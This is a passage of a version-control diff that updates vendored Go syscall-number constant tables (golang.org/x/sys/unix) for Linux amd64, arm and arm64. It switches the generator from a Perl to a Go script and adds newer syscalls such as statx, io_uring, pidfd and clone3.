-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -m64 /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -m64 /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,linux
-@@ -338,4 +338,21 @@ const (
- SYS_PKEY_MPROTECT = 329
- SYS_PKEY_ALLOC = 330
- SYS_PKEY_FREE = 331
-+ SYS_STATX = 332
-+ SYS_IO_PGETEVENTS = 333
-+ SYS_RSEQ = 334
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go
-index 97b182ef..307f2ba1 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,linux
-@@ -6,356 +6,395 @@
- package unix
-
- const (
-- SYS_RESTART_SYSCALL = 0
-- SYS_EXIT = 1
-- SYS_FORK = 2
-- SYS_READ = 3
-- SYS_WRITE = 4
-- SYS_OPEN = 5
-- SYS_CLOSE = 6
-- SYS_CREAT = 8
-- SYS_LINK = 9
-- SYS_UNLINK = 10
-- SYS_EXECVE = 11
-- SYS_CHDIR = 12
-- SYS_MKNOD = 14
-- SYS_CHMOD = 15
-- SYS_LCHOWN = 16
-- SYS_LSEEK = 19
-- SYS_GETPID = 20
-- SYS_MOUNT = 21
-- SYS_SETUID = 23
-- SYS_GETUID = 24
-- SYS_PTRACE = 26
-- SYS_PAUSE = 29
-- SYS_ACCESS = 33
-- SYS_NICE = 34
-- SYS_SYNC = 36
-- SYS_KILL = 37
-- SYS_RENAME = 38
-- SYS_MKDIR = 39
-- SYS_RMDIR = 40
-- SYS_DUP = 41
-- SYS_PIPE = 42
-- SYS_TIMES = 43
-- SYS_BRK = 45
-- SYS_SETGID = 46
-- SYS_GETGID = 47
-- SYS_GETEUID = 49
-- SYS_GETEGID = 50
-- SYS_ACCT = 51
-- SYS_UMOUNT2 = 52
-- SYS_IOCTL = 54
-- SYS_FCNTL = 55
-- SYS_SETPGID = 57
-- SYS_UMASK = 60
-- SYS_CHROOT = 61
-- SYS_USTAT = 62
-- SYS_DUP2 = 63
-- SYS_GETPPID = 64
-- SYS_GETPGRP = 65
-- SYS_SETSID = 66
-- SYS_SIGACTION = 67
-- SYS_SETREUID = 70
-- SYS_SETREGID = 71
-- SYS_SIGSUSPEND = 72
-- SYS_SIGPENDING = 73
-- SYS_SETHOSTNAME = 74
-- SYS_SETRLIMIT = 75
-- SYS_GETRUSAGE = 77
-- SYS_GETTIMEOFDAY = 78
-- SYS_SETTIMEOFDAY = 79
-- SYS_GETGROUPS = 80
-- SYS_SETGROUPS = 81
-- SYS_SYMLINK = 83
-- SYS_READLINK = 85
-- SYS_USELIB = 86
-- SYS_SWAPON = 87
-- SYS_REBOOT = 88
-- SYS_MUNMAP = 91
-- SYS_TRUNCATE = 92
-- SYS_FTRUNCATE = 93
-- SYS_FCHMOD = 94
-- SYS_FCHOWN = 95
-- SYS_GETPRIORITY = 96
-- SYS_SETPRIORITY = 97
-- SYS_STATFS = 99
-- SYS_FSTATFS = 100
-- SYS_SYSLOG = 103
-- SYS_SETITIMER = 104
-- SYS_GETITIMER = 105
-- SYS_STAT = 106
-- SYS_LSTAT = 107
-- SYS_FSTAT = 108
-- SYS_VHANGUP = 111
-- SYS_WAIT4 = 114
-- SYS_SWAPOFF = 115
-- SYS_SYSINFO = 116
-- SYS_FSYNC = 118
-- SYS_SIGRETURN = 119
-- SYS_CLONE = 120
-- SYS_SETDOMAINNAME = 121
-- SYS_UNAME = 122
-- SYS_ADJTIMEX = 124
-- SYS_MPROTECT = 125
-- SYS_SIGPROCMASK = 126
-- SYS_INIT_MODULE = 128
-- SYS_DELETE_MODULE = 129
-- SYS_QUOTACTL = 131
-- SYS_GETPGID = 132
-- SYS_FCHDIR = 133
-- SYS_BDFLUSH = 134
-- SYS_SYSFS = 135
-- SYS_PERSONALITY = 136
-- SYS_SETFSUID = 138
-- SYS_SETFSGID = 139
-- SYS__LLSEEK = 140
-- SYS_GETDENTS = 141
-- SYS__NEWSELECT = 142
-- SYS_FLOCK = 143
-- SYS_MSYNC = 144
-- SYS_READV = 145
-- SYS_WRITEV = 146
-- SYS_GETSID = 147
-- SYS_FDATASYNC = 148
-- SYS__SYSCTL = 149
-- SYS_MLOCK = 150
-- SYS_MUNLOCK = 151
-- SYS_MLOCKALL = 152
-- SYS_MUNLOCKALL = 153
-- SYS_SCHED_SETPARAM = 154
-- SYS_SCHED_GETPARAM = 155
-- SYS_SCHED_SETSCHEDULER = 156
-- SYS_SCHED_GETSCHEDULER = 157
-- SYS_SCHED_YIELD = 158
-- SYS_SCHED_GET_PRIORITY_MAX = 159
-- SYS_SCHED_GET_PRIORITY_MIN = 160
-- SYS_SCHED_RR_GET_INTERVAL = 161
-- SYS_NANOSLEEP = 162
-- SYS_MREMAP = 163
-- SYS_SETRESUID = 164
-- SYS_GETRESUID = 165
-- SYS_POLL = 168
-- SYS_NFSSERVCTL = 169
-- SYS_SETRESGID = 170
-- SYS_GETRESGID = 171
-- SYS_PRCTL = 172
-- SYS_RT_SIGRETURN = 173
-- SYS_RT_SIGACTION = 174
-- SYS_RT_SIGPROCMASK = 175
-- SYS_RT_SIGPENDING = 176
-- SYS_RT_SIGTIMEDWAIT = 177
-- SYS_RT_SIGQUEUEINFO = 178
-- SYS_RT_SIGSUSPEND = 179
-- SYS_PREAD64 = 180
-- SYS_PWRITE64 = 181
-- SYS_CHOWN = 182
-- SYS_GETCWD = 183
-- SYS_CAPGET = 184
-- SYS_CAPSET = 185
-- SYS_SIGALTSTACK = 186
-- SYS_SENDFILE = 187
-- SYS_VFORK = 190
-- SYS_UGETRLIMIT = 191
-- SYS_MMAP2 = 192
-- SYS_TRUNCATE64 = 193
-- SYS_FTRUNCATE64 = 194
-- SYS_STAT64 = 195
-- SYS_LSTAT64 = 196
-- SYS_FSTAT64 = 197
-- SYS_LCHOWN32 = 198
-- SYS_GETUID32 = 199
-- SYS_GETGID32 = 200
-- SYS_GETEUID32 = 201
-- SYS_GETEGID32 = 202
-- SYS_SETREUID32 = 203
-- SYS_SETREGID32 = 204
-- SYS_GETGROUPS32 = 205
-- SYS_SETGROUPS32 = 206
-- SYS_FCHOWN32 = 207
-- SYS_SETRESUID32 = 208
-- SYS_GETRESUID32 = 209
-- SYS_SETRESGID32 = 210
-- SYS_GETRESGID32 = 211
-- SYS_CHOWN32 = 212
-- SYS_SETUID32 = 213
-- SYS_SETGID32 = 214
-- SYS_SETFSUID32 = 215
-- SYS_SETFSGID32 = 216
-- SYS_GETDENTS64 = 217
-- SYS_PIVOT_ROOT = 218
-- SYS_MINCORE = 219
-- SYS_MADVISE = 220
-- SYS_FCNTL64 = 221
-- SYS_GETTID = 224
-- SYS_READAHEAD = 225
-- SYS_SETXATTR = 226
-- SYS_LSETXATTR = 227
-- SYS_FSETXATTR = 228
-- SYS_GETXATTR = 229
-- SYS_LGETXATTR = 230
-- SYS_FGETXATTR = 231
-- SYS_LISTXATTR = 232
-- SYS_LLISTXATTR = 233
-- SYS_FLISTXATTR = 234
-- SYS_REMOVEXATTR = 235
-- SYS_LREMOVEXATTR = 236
-- SYS_FREMOVEXATTR = 237
-- SYS_TKILL = 238
-- SYS_SENDFILE64 = 239
-- SYS_FUTEX = 240
-- SYS_SCHED_SETAFFINITY = 241
-- SYS_SCHED_GETAFFINITY = 242
-- SYS_IO_SETUP = 243
-- SYS_IO_DESTROY = 244
-- SYS_IO_GETEVENTS = 245
-- SYS_IO_SUBMIT = 246
-- SYS_IO_CANCEL = 247
-- SYS_EXIT_GROUP = 248
-- SYS_LOOKUP_DCOOKIE = 249
-- SYS_EPOLL_CREATE = 250
-- SYS_EPOLL_CTL = 251
-- SYS_EPOLL_WAIT = 252
-- SYS_REMAP_FILE_PAGES = 253
-- SYS_SET_TID_ADDRESS = 256
-- SYS_TIMER_CREATE = 257
-- SYS_TIMER_SETTIME = 258
-- SYS_TIMER_GETTIME = 259
-- SYS_TIMER_GETOVERRUN = 260
-- SYS_TIMER_DELETE = 261
-- SYS_CLOCK_SETTIME = 262
-- SYS_CLOCK_GETTIME = 263
-- SYS_CLOCK_GETRES = 264
-- SYS_CLOCK_NANOSLEEP = 265
-- SYS_STATFS64 = 266
-- SYS_FSTATFS64 = 267
-- SYS_TGKILL = 268
-- SYS_UTIMES = 269
-- SYS_ARM_FADVISE64_64 = 270
-- SYS_PCICONFIG_IOBASE = 271
-- SYS_PCICONFIG_READ = 272
-- SYS_PCICONFIG_WRITE = 273
-- SYS_MQ_OPEN = 274
-- SYS_MQ_UNLINK = 275
-- SYS_MQ_TIMEDSEND = 276
-- SYS_MQ_TIMEDRECEIVE = 277
-- SYS_MQ_NOTIFY = 278
-- SYS_MQ_GETSETATTR = 279
-- SYS_WAITID = 280
-- SYS_SOCKET = 281
-- SYS_BIND = 282
-- SYS_CONNECT = 283
-- SYS_LISTEN = 284
-- SYS_ACCEPT = 285
-- SYS_GETSOCKNAME = 286
-- SYS_GETPEERNAME = 287
-- SYS_SOCKETPAIR = 288
-- SYS_SEND = 289
-- SYS_SENDTO = 290
-- SYS_RECV = 291
-- SYS_RECVFROM = 292
-- SYS_SHUTDOWN = 293
-- SYS_SETSOCKOPT = 294
-- SYS_GETSOCKOPT = 295
-- SYS_SENDMSG = 296
-- SYS_RECVMSG = 297
-- SYS_SEMOP = 298
-- SYS_SEMGET = 299
-- SYS_SEMCTL = 300
-- SYS_MSGSND = 301
-- SYS_MSGRCV = 302
-- SYS_MSGGET = 303
-- SYS_MSGCTL = 304
-- SYS_SHMAT = 305
-- SYS_SHMDT = 306
-- SYS_SHMGET = 307
-- SYS_SHMCTL = 308
-- SYS_ADD_KEY = 309
-- SYS_REQUEST_KEY = 310
-- SYS_KEYCTL = 311
-- SYS_SEMTIMEDOP = 312
-- SYS_VSERVER = 313
-- SYS_IOPRIO_SET = 314
-- SYS_IOPRIO_GET = 315
-- SYS_INOTIFY_INIT = 316
-- SYS_INOTIFY_ADD_WATCH = 317
-- SYS_INOTIFY_RM_WATCH = 318
-- SYS_MBIND = 319
-- SYS_GET_MEMPOLICY = 320
-- SYS_SET_MEMPOLICY = 321
-- SYS_OPENAT = 322
-- SYS_MKDIRAT = 323
-- SYS_MKNODAT = 324
-- SYS_FCHOWNAT = 325
-- SYS_FUTIMESAT = 326
-- SYS_FSTATAT64 = 327
-- SYS_UNLINKAT = 328
-- SYS_RENAMEAT = 329
-- SYS_LINKAT = 330
-- SYS_SYMLINKAT = 331
-- SYS_READLINKAT = 332
-- SYS_FCHMODAT = 333
-- SYS_FACCESSAT = 334
-- SYS_PSELECT6 = 335
-- SYS_PPOLL = 336
-- SYS_UNSHARE = 337
-- SYS_SET_ROBUST_LIST = 338
-- SYS_GET_ROBUST_LIST = 339
-- SYS_SPLICE = 340
-- SYS_ARM_SYNC_FILE_RANGE = 341
-- SYS_TEE = 342
-- SYS_VMSPLICE = 343
-- SYS_MOVE_PAGES = 344
-- SYS_GETCPU = 345
-- SYS_EPOLL_PWAIT = 346
-- SYS_KEXEC_LOAD = 347
-- SYS_UTIMENSAT = 348
-- SYS_SIGNALFD = 349
-- SYS_TIMERFD_CREATE = 350
-- SYS_EVENTFD = 351
-- SYS_FALLOCATE = 352
-- SYS_TIMERFD_SETTIME = 353
-- SYS_TIMERFD_GETTIME = 354
-- SYS_SIGNALFD4 = 355
-- SYS_EVENTFD2 = 356
-- SYS_EPOLL_CREATE1 = 357
-- SYS_DUP3 = 358
-- SYS_PIPE2 = 359
-- SYS_INOTIFY_INIT1 = 360
-- SYS_PREADV = 361
-- SYS_PWRITEV = 362
-- SYS_RT_TGSIGQUEUEINFO = 363
-- SYS_PERF_EVENT_OPEN = 364
-- SYS_RECVMMSG = 365
-- SYS_ACCEPT4 = 366
-- SYS_FANOTIFY_INIT = 367
-- SYS_FANOTIFY_MARK = 368
-- SYS_PRLIMIT64 = 369
-- SYS_NAME_TO_HANDLE_AT = 370
-- SYS_OPEN_BY_HANDLE_AT = 371
-- SYS_CLOCK_ADJTIME = 372
-- SYS_SYNCFS = 373
-- SYS_SENDMMSG = 374
-- SYS_SETNS = 375
-- SYS_PROCESS_VM_READV = 376
-- SYS_PROCESS_VM_WRITEV = 377
-- SYS_KCMP = 378
-- SYS_FINIT_MODULE = 379
-- SYS_SCHED_SETATTR = 380
-- SYS_SCHED_GETATTR = 381
-- SYS_RENAMEAT2 = 382
-- SYS_SECCOMP = 383
-- SYS_GETRANDOM = 384
-- SYS_MEMFD_CREATE = 385
-- SYS_BPF = 386
-- SYS_EXECVEAT = 387
-- SYS_USERFAULTFD = 388
-- SYS_MEMBARRIER = 389
-- SYS_MLOCK2 = 390
-- SYS_COPY_FILE_RANGE = 391
-- SYS_PREADV2 = 392
-- SYS_PWRITEV2 = 393
-- SYS_PKEY_MPROTECT = 394
-- SYS_PKEY_ALLOC = 395
-- SYS_PKEY_FREE = 396
-+ SYS_RESTART_SYSCALL = 0
-+ SYS_EXIT = 1
-+ SYS_FORK = 2
-+ SYS_READ = 3
-+ SYS_WRITE = 4
-+ SYS_OPEN = 5
-+ SYS_CLOSE = 6
-+ SYS_CREAT = 8
-+ SYS_LINK = 9
-+ SYS_UNLINK = 10
-+ SYS_EXECVE = 11
-+ SYS_CHDIR = 12
-+ SYS_MKNOD = 14
-+ SYS_CHMOD = 15
-+ SYS_LCHOWN = 16
-+ SYS_LSEEK = 19
-+ SYS_GETPID = 20
-+ SYS_MOUNT = 21
-+ SYS_SETUID = 23
-+ SYS_GETUID = 24
-+ SYS_PTRACE = 26
-+ SYS_PAUSE = 29
-+ SYS_ACCESS = 33
-+ SYS_NICE = 34
-+ SYS_SYNC = 36
-+ SYS_KILL = 37
-+ SYS_RENAME = 38
-+ SYS_MKDIR = 39
-+ SYS_RMDIR = 40
-+ SYS_DUP = 41
-+ SYS_PIPE = 42
-+ SYS_TIMES = 43
-+ SYS_BRK = 45
-+ SYS_SETGID = 46
-+ SYS_GETGID = 47
-+ SYS_GETEUID = 49
-+ SYS_GETEGID = 50
-+ SYS_ACCT = 51
-+ SYS_UMOUNT2 = 52
-+ SYS_IOCTL = 54
-+ SYS_FCNTL = 55
-+ SYS_SETPGID = 57
-+ SYS_UMASK = 60
-+ SYS_CHROOT = 61
-+ SYS_USTAT = 62
-+ SYS_DUP2 = 63
-+ SYS_GETPPID = 64
-+ SYS_GETPGRP = 65
-+ SYS_SETSID = 66
-+ SYS_SIGACTION = 67
-+ SYS_SETREUID = 70
-+ SYS_SETREGID = 71
-+ SYS_SIGSUSPEND = 72
-+ SYS_SIGPENDING = 73
-+ SYS_SETHOSTNAME = 74
-+ SYS_SETRLIMIT = 75
-+ SYS_GETRUSAGE = 77
-+ SYS_GETTIMEOFDAY = 78
-+ SYS_SETTIMEOFDAY = 79
-+ SYS_GETGROUPS = 80
-+ SYS_SETGROUPS = 81
-+ SYS_SYMLINK = 83
-+ SYS_READLINK = 85
-+ SYS_USELIB = 86
-+ SYS_SWAPON = 87
-+ SYS_REBOOT = 88
-+ SYS_MUNMAP = 91
-+ SYS_TRUNCATE = 92
-+ SYS_FTRUNCATE = 93
-+ SYS_FCHMOD = 94
-+ SYS_FCHOWN = 95
-+ SYS_GETPRIORITY = 96
-+ SYS_SETPRIORITY = 97
-+ SYS_STATFS = 99
-+ SYS_FSTATFS = 100
-+ SYS_SYSLOG = 103
-+ SYS_SETITIMER = 104
-+ SYS_GETITIMER = 105
-+ SYS_STAT = 106
-+ SYS_LSTAT = 107
-+ SYS_FSTAT = 108
-+ SYS_VHANGUP = 111
-+ SYS_WAIT4 = 114
-+ SYS_SWAPOFF = 115
-+ SYS_SYSINFO = 116
-+ SYS_FSYNC = 118
-+ SYS_SIGRETURN = 119
-+ SYS_CLONE = 120
-+ SYS_SETDOMAINNAME = 121
-+ SYS_UNAME = 122
-+ SYS_ADJTIMEX = 124
-+ SYS_MPROTECT = 125
-+ SYS_SIGPROCMASK = 126
-+ SYS_INIT_MODULE = 128
-+ SYS_DELETE_MODULE = 129
-+ SYS_QUOTACTL = 131
-+ SYS_GETPGID = 132
-+ SYS_FCHDIR = 133
-+ SYS_BDFLUSH = 134
-+ SYS_SYSFS = 135
-+ SYS_PERSONALITY = 136
-+ SYS_SETFSUID = 138
-+ SYS_SETFSGID = 139
-+ SYS__LLSEEK = 140
-+ SYS_GETDENTS = 141
-+ SYS__NEWSELECT = 142
-+ SYS_FLOCK = 143
-+ SYS_MSYNC = 144
-+ SYS_READV = 145
-+ SYS_WRITEV = 146
-+ SYS_GETSID = 147
-+ SYS_FDATASYNC = 148
-+ SYS__SYSCTL = 149
-+ SYS_MLOCK = 150
-+ SYS_MUNLOCK = 151
-+ SYS_MLOCKALL = 152
-+ SYS_MUNLOCKALL = 153
-+ SYS_SCHED_SETPARAM = 154
-+ SYS_SCHED_GETPARAM = 155
-+ SYS_SCHED_SETSCHEDULER = 156
-+ SYS_SCHED_GETSCHEDULER = 157
-+ SYS_SCHED_YIELD = 158
-+ SYS_SCHED_GET_PRIORITY_MAX = 159
-+ SYS_SCHED_GET_PRIORITY_MIN = 160
-+ SYS_SCHED_RR_GET_INTERVAL = 161
-+ SYS_NANOSLEEP = 162
-+ SYS_MREMAP = 163
-+ SYS_SETRESUID = 164
-+ SYS_GETRESUID = 165
-+ SYS_POLL = 168
-+ SYS_NFSSERVCTL = 169
-+ SYS_SETRESGID = 170
-+ SYS_GETRESGID = 171
-+ SYS_PRCTL = 172
-+ SYS_RT_SIGRETURN = 173
-+ SYS_RT_SIGACTION = 174
-+ SYS_RT_SIGPROCMASK = 175
-+ SYS_RT_SIGPENDING = 176
-+ SYS_RT_SIGTIMEDWAIT = 177
-+ SYS_RT_SIGQUEUEINFO = 178
-+ SYS_RT_SIGSUSPEND = 179
-+ SYS_PREAD64 = 180
-+ SYS_PWRITE64 = 181
-+ SYS_CHOWN = 182
-+ SYS_GETCWD = 183
-+ SYS_CAPGET = 184
-+ SYS_CAPSET = 185
-+ SYS_SIGALTSTACK = 186
-+ SYS_SENDFILE = 187
-+ SYS_VFORK = 190
-+ SYS_UGETRLIMIT = 191
-+ SYS_MMAP2 = 192
-+ SYS_TRUNCATE64 = 193
-+ SYS_FTRUNCATE64 = 194
-+ SYS_STAT64 = 195
-+ SYS_LSTAT64 = 196
-+ SYS_FSTAT64 = 197
-+ SYS_LCHOWN32 = 198
-+ SYS_GETUID32 = 199
-+ SYS_GETGID32 = 200
-+ SYS_GETEUID32 = 201
-+ SYS_GETEGID32 = 202
-+ SYS_SETREUID32 = 203
-+ SYS_SETREGID32 = 204
-+ SYS_GETGROUPS32 = 205
-+ SYS_SETGROUPS32 = 206
-+ SYS_FCHOWN32 = 207
-+ SYS_SETRESUID32 = 208
-+ SYS_GETRESUID32 = 209
-+ SYS_SETRESGID32 = 210
-+ SYS_GETRESGID32 = 211
-+ SYS_CHOWN32 = 212
-+ SYS_SETUID32 = 213
-+ SYS_SETGID32 = 214
-+ SYS_SETFSUID32 = 215
-+ SYS_SETFSGID32 = 216
-+ SYS_GETDENTS64 = 217
-+ SYS_PIVOT_ROOT = 218
-+ SYS_MINCORE = 219
-+ SYS_MADVISE = 220
-+ SYS_FCNTL64 = 221
-+ SYS_GETTID = 224
-+ SYS_READAHEAD = 225
-+ SYS_SETXATTR = 226
-+ SYS_LSETXATTR = 227
-+ SYS_FSETXATTR = 228
-+ SYS_GETXATTR = 229
-+ SYS_LGETXATTR = 230
-+ SYS_FGETXATTR = 231
-+ SYS_LISTXATTR = 232
-+ SYS_LLISTXATTR = 233
-+ SYS_FLISTXATTR = 234
-+ SYS_REMOVEXATTR = 235
-+ SYS_LREMOVEXATTR = 236
-+ SYS_FREMOVEXATTR = 237
-+ SYS_TKILL = 238
-+ SYS_SENDFILE64 = 239
-+ SYS_FUTEX = 240
-+ SYS_SCHED_SETAFFINITY = 241
-+ SYS_SCHED_GETAFFINITY = 242
-+ SYS_IO_SETUP = 243
-+ SYS_IO_DESTROY = 244
-+ SYS_IO_GETEVENTS = 245
-+ SYS_IO_SUBMIT = 246
-+ SYS_IO_CANCEL = 247
-+ SYS_EXIT_GROUP = 248
-+ SYS_LOOKUP_DCOOKIE = 249
-+ SYS_EPOLL_CREATE = 250
-+ SYS_EPOLL_CTL = 251
-+ SYS_EPOLL_WAIT = 252
-+ SYS_REMAP_FILE_PAGES = 253
-+ SYS_SET_TID_ADDRESS = 256
-+ SYS_TIMER_CREATE = 257
-+ SYS_TIMER_SETTIME = 258
-+ SYS_TIMER_GETTIME = 259
-+ SYS_TIMER_GETOVERRUN = 260
-+ SYS_TIMER_DELETE = 261
-+ SYS_CLOCK_SETTIME = 262
-+ SYS_CLOCK_GETTIME = 263
-+ SYS_CLOCK_GETRES = 264
-+ SYS_CLOCK_NANOSLEEP = 265
-+ SYS_STATFS64 = 266
-+ SYS_FSTATFS64 = 267
-+ SYS_TGKILL = 268
-+ SYS_UTIMES = 269
-+ SYS_ARM_FADVISE64_64 = 270
-+ SYS_PCICONFIG_IOBASE = 271
-+ SYS_PCICONFIG_READ = 272
-+ SYS_PCICONFIG_WRITE = 273
-+ SYS_MQ_OPEN = 274
-+ SYS_MQ_UNLINK = 275
-+ SYS_MQ_TIMEDSEND = 276
-+ SYS_MQ_TIMEDRECEIVE = 277
-+ SYS_MQ_NOTIFY = 278
-+ SYS_MQ_GETSETATTR = 279
-+ SYS_WAITID = 280
-+ SYS_SOCKET = 281
-+ SYS_BIND = 282
-+ SYS_CONNECT = 283
-+ SYS_LISTEN = 284
-+ SYS_ACCEPT = 285
-+ SYS_GETSOCKNAME = 286
-+ SYS_GETPEERNAME = 287
-+ SYS_SOCKETPAIR = 288
-+ SYS_SEND = 289
-+ SYS_SENDTO = 290
-+ SYS_RECV = 291
-+ SYS_RECVFROM = 292
-+ SYS_SHUTDOWN = 293
-+ SYS_SETSOCKOPT = 294
-+ SYS_GETSOCKOPT = 295
-+ SYS_SENDMSG = 296
-+ SYS_RECVMSG = 297
-+ SYS_SEMOP = 298
-+ SYS_SEMGET = 299
-+ SYS_SEMCTL = 300
-+ SYS_MSGSND = 301
-+ SYS_MSGRCV = 302
-+ SYS_MSGGET = 303
-+ SYS_MSGCTL = 304
-+ SYS_SHMAT = 305
-+ SYS_SHMDT = 306
-+ SYS_SHMGET = 307
-+ SYS_SHMCTL = 308
-+ SYS_ADD_KEY = 309
-+ SYS_REQUEST_KEY = 310
-+ SYS_KEYCTL = 311
-+ SYS_SEMTIMEDOP = 312
-+ SYS_VSERVER = 313
-+ SYS_IOPRIO_SET = 314
-+ SYS_IOPRIO_GET = 315
-+ SYS_INOTIFY_INIT = 316
-+ SYS_INOTIFY_ADD_WATCH = 317
-+ SYS_INOTIFY_RM_WATCH = 318
-+ SYS_MBIND = 319
-+ SYS_GET_MEMPOLICY = 320
-+ SYS_SET_MEMPOLICY = 321
-+ SYS_OPENAT = 322
-+ SYS_MKDIRAT = 323
-+ SYS_MKNODAT = 324
-+ SYS_FCHOWNAT = 325
-+ SYS_FUTIMESAT = 326
-+ SYS_FSTATAT64 = 327
-+ SYS_UNLINKAT = 328
-+ SYS_RENAMEAT = 329
-+ SYS_LINKAT = 330
-+ SYS_SYMLINKAT = 331
-+ SYS_READLINKAT = 332
-+ SYS_FCHMODAT = 333
-+ SYS_FACCESSAT = 334
-+ SYS_PSELECT6 = 335
-+ SYS_PPOLL = 336
-+ SYS_UNSHARE = 337
-+ SYS_SET_ROBUST_LIST = 338
-+ SYS_GET_ROBUST_LIST = 339
-+ SYS_SPLICE = 340
-+ SYS_ARM_SYNC_FILE_RANGE = 341
-+ SYS_TEE = 342
-+ SYS_VMSPLICE = 343
-+ SYS_MOVE_PAGES = 344
-+ SYS_GETCPU = 345
-+ SYS_EPOLL_PWAIT = 346
-+ SYS_KEXEC_LOAD = 347
-+ SYS_UTIMENSAT = 348
-+ SYS_SIGNALFD = 349
-+ SYS_TIMERFD_CREATE = 350
-+ SYS_EVENTFD = 351
-+ SYS_FALLOCATE = 352
-+ SYS_TIMERFD_SETTIME = 353
-+ SYS_TIMERFD_GETTIME = 354
-+ SYS_SIGNALFD4 = 355
-+ SYS_EVENTFD2 = 356
-+ SYS_EPOLL_CREATE1 = 357
-+ SYS_DUP3 = 358
-+ SYS_PIPE2 = 359
-+ SYS_INOTIFY_INIT1 = 360
-+ SYS_PREADV = 361
-+ SYS_PWRITEV = 362
-+ SYS_RT_TGSIGQUEUEINFO = 363
-+ SYS_PERF_EVENT_OPEN = 364
-+ SYS_RECVMMSG = 365
-+ SYS_ACCEPT4 = 366
-+ SYS_FANOTIFY_INIT = 367
-+ SYS_FANOTIFY_MARK = 368
-+ SYS_PRLIMIT64 = 369
-+ SYS_NAME_TO_HANDLE_AT = 370
-+ SYS_OPEN_BY_HANDLE_AT = 371
-+ SYS_CLOCK_ADJTIME = 372
-+ SYS_SYNCFS = 373
-+ SYS_SENDMMSG = 374
-+ SYS_SETNS = 375
-+ SYS_PROCESS_VM_READV = 376
-+ SYS_PROCESS_VM_WRITEV = 377
-+ SYS_KCMP = 378
-+ SYS_FINIT_MODULE = 379
-+ SYS_SCHED_SETATTR = 380
-+ SYS_SCHED_GETATTR = 381
-+ SYS_RENAMEAT2 = 382
-+ SYS_SECCOMP = 383
-+ SYS_GETRANDOM = 384
-+ SYS_MEMFD_CREATE = 385
-+ SYS_BPF = 386
-+ SYS_EXECVEAT = 387
-+ SYS_USERFAULTFD = 388
-+ SYS_MEMBARRIER = 389
-+ SYS_MLOCK2 = 390
-+ SYS_COPY_FILE_RANGE = 391
-+ SYS_PREADV2 = 392
-+ SYS_PWRITEV2 = 393
-+ SYS_PKEY_MPROTECT = 394
-+ SYS_PKEY_ALLOC = 395
-+ SYS_PKEY_FREE = 396
-+ SYS_STATX = 397
-+ SYS_RSEQ = 398
-+ SYS_IO_PGETEVENTS = 399
-+ SYS_MIGRATE_PAGES = 400
-+ SYS_KEXEC_FILE_LOAD = 401
-+ SYS_CLOCK_GETTIME64 = 403
-+ SYS_CLOCK_SETTIME64 = 404
-+ SYS_CLOCK_ADJTIME64 = 405
-+ SYS_CLOCK_GETRES_TIME64 = 406
-+ SYS_CLOCK_NANOSLEEP_TIME64 = 407
-+ SYS_TIMER_GETTIME64 = 408
-+ SYS_TIMER_SETTIME64 = 409
-+ SYS_TIMERFD_GETTIME64 = 410
-+ SYS_TIMERFD_SETTIME64 = 411
-+ SYS_UTIMENSAT_TIME64 = 412
-+ SYS_PSELECT6_TIME64 = 413
-+ SYS_PPOLL_TIME64 = 414
-+ SYS_IO_PGETEVENTS_TIME64 = 416
-+ SYS_RECVMMSG_TIME64 = 417
-+ SYS_MQ_TIMEDSEND_TIME64 = 418
-+ SYS_MQ_TIMEDRECEIVE_TIME64 = 419
-+ SYS_SEMTIMEDOP_TIME64 = 420
-+ SYS_RT_SIGTIMEDWAIT_TIME64 = 421
-+ SYS_FUTEX_TIME64 = 422
-+ SYS_SCHED_RR_GET_INTERVAL_TIME64 = 423
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-index 64078435..e9404dd5 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm64,linux
-@@ -282,4 +282,22 @@ const (
- SYS_PKEY_MPROTECT = 288
- SYS_PKEY_ALLOC = 289
- SYS_PKEY_FREE = 290
-+ SYS_STATX = 291
-+ SYS_IO_PGETEVENTS = 292
-+ SYS_RSEQ = 293
-+ SYS_KEXEC_FILE_LOAD = 294
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
